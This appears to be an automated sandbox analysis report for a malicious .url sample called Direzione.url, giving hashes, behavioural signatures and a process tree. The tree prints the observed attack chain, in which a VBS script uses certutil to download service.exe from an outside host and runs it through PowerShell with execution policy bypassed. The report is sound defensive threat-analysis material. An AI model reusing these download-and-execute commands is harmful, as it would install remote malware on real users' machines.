Analysis
- max time kernel
142s - max time network
157s - platform
windows10-2004_x64 - resource
win10v2004-20230915-en - resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system - submitted
27/09/2023, 16:59
Static task
static1
Behavioral task
behavioral1
Sample
Direzione.url
Resource
win7-20230831-en
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
Direzione.url
Resource
win10v2004-20230915-en
7 signatures
150 seconds
General
- Target Direzione.url
- Size 205B
- Sample230927-vhdmwsce7x
- SHA256 d41f777212f6f77b34f10eedbb0e4e36eea69059519f1b5fc399e3754a1e25f6
- MD5 83b57be91d269a4ec7f55d00d8931821
- SHA1 7a8da6f58e4957b7a921ba2828b3fc17bad6894e
- SHA512 a51849d4d643e63ff27612113bba88078cd5e88b6448447990f7564edaa85f3b9940be45cab1113122c15363993eaeff6dafa1dcd087110c5cb6feac7faf96b8
- MD5 SHA1 SHA512
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation rundll32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings rundll32.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3192 powershell.exe 3192 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3192 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3752 rundll32.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 3752 wrote to memory of 1576 3752 rundll32.exe 85 PID 3752 wrote to memory of 1576 3752 rundll32.exe 85 PID 1576 wrote to memory of 3756 1576 WScript.exe 86 PID 1576 wrote to memory of 3756 1576 WScript.exe 86 PID 3756 wrote to memory of 2196 3756 cmd.exe 88 PID 3756 wrote to memory of 2196 3756 cmd.exe 88 PID 2196 wrote to memory of 3884 2196 cmd.exe 89 PID 2196 wrote to memory of 3884 2196 cmd.exe 89 PID 1576 wrote to memory of 2124 1576 WScript.exe 96 PID 1576 wrote to memory of 2124 1576 WScript.exe 96 PID 2124 wrote to memory of 1136 2124 cmd.exe 98 PID 2124 wrote to memory of 1136 2124 cmd.exe 98 PID 1136 wrote to memory of 3192 1136 cmd.exe 99 PID 1136 wrote to memory of 3192 1136 cmd.exe 99
Processes
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Direzione.url1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3752 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FXXN8G02\Agenzia[1].vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1576 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c certutil -urlcache -split -f http://serverlogins.com/service.exe C:\Users\Admin\AppData\Roaming\service.exe3⤵
- Suspicious use of WriteProcessMemory
PID:3756 -
C:\Windows\system32\cmd.execmd /c certutil -urlcache -split -f http://serverlogins.com/service.exe C:\Users\Admin\AppData\Roaming\service.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\system32\certutil.execertutil -urlcache -split -f http://serverlogins.com/service.exe C:\Users\Admin\AppData\Roaming\service.exe5⤵PID:3884
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\service.exe3⤵
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\system32\cmd.execmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\service.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\service.exe5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3192
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FXXN8G02\Agenzia[1].vbs
- Size 517B
- SHA256 8b35f64e018365449728000cd8029249d46598deb64d823b6b5f1b61fcfdedee
- MD5 d78fe505e997d8a17d7af2bff3adcc7b
- SHA1 8488c8e0ccaa295abf262b532aa60cbf2d29e200
- SHA512 a81384b2823b31e47feb2e6bd339fd0a74bb2073f310856eabd0fb88f91a574d988d9da4bffeab66e0c093669c463e6dab98e12ab167f9e2f579e30b2b86398f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ulqkypb.ufx.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512